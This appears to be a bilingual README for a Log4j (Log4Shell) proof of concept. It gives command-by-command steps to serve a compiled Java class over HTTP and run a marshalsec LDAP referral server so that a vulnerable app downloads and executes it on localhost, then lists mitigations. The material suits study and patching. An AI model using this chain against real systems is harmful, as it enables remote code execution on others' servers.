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Apache-Log4j

Apache Log4j 远程代码执行

攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经阿里云安全团队验证，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响

Steps

  1. 【Important】Move Log4jRCE.java to /home/remote/Log4jRCE.java, or any other directories except apache-log4j-poc.

  2. Compile Log4jRCE.java and start http server

    1. cd /home/remote
    2. javac Log4jRCE.java
    3. start http server，python or php，php -S 127.0.0.1:8888

  3. Start ldap server

    1. git clone [email protected]:mbechler/marshalsec.git
    2. cd marshalsec
    3. mvn clean package -DskipTests
    4. start ldap server java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

  4. Start log4j.java, then you can see I am Log4jRCE from remote!!!

触发步骤

  1. 【重要】将Log4jRCE.java 挪出 当前项目目录，比如挪到/home/remote/Log4jRCE.java，不然log4j.java运行时会读取到本地的Log4jRCE.java，就不走http远程下载了！

  2. 编译Log4jRCE.java并启动http server

    1. 进入目录 cd /home/remote
    2. 编译 javac Log4jRCE.java
    3. 启动http server，python或php均可快速启动，如php -S 127.0.0.1:8888

  3. 启动ldap server

    1. git clone [email protected]:mbechler/marshalsec.git
    2. cd marshalsec
    3. mvn clean package -DskipTests
    4. 启动ldap server java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

  4. 启动log4j.java，然后就会发现命令行出现了I am Log4jRCE from remote!!!。底层就是会远程下载Log4jRCE.class，然后执行newInstance()，所以会执行static、构造函数代码。

修复方案：

（1）修改jvm参数 -Dlog4j2.formatMsgNoLookups=true

（2）修改配置 在应用classpath下添加log4j2.component.properties配置文件，log4j2.formatMsgNoLookups=true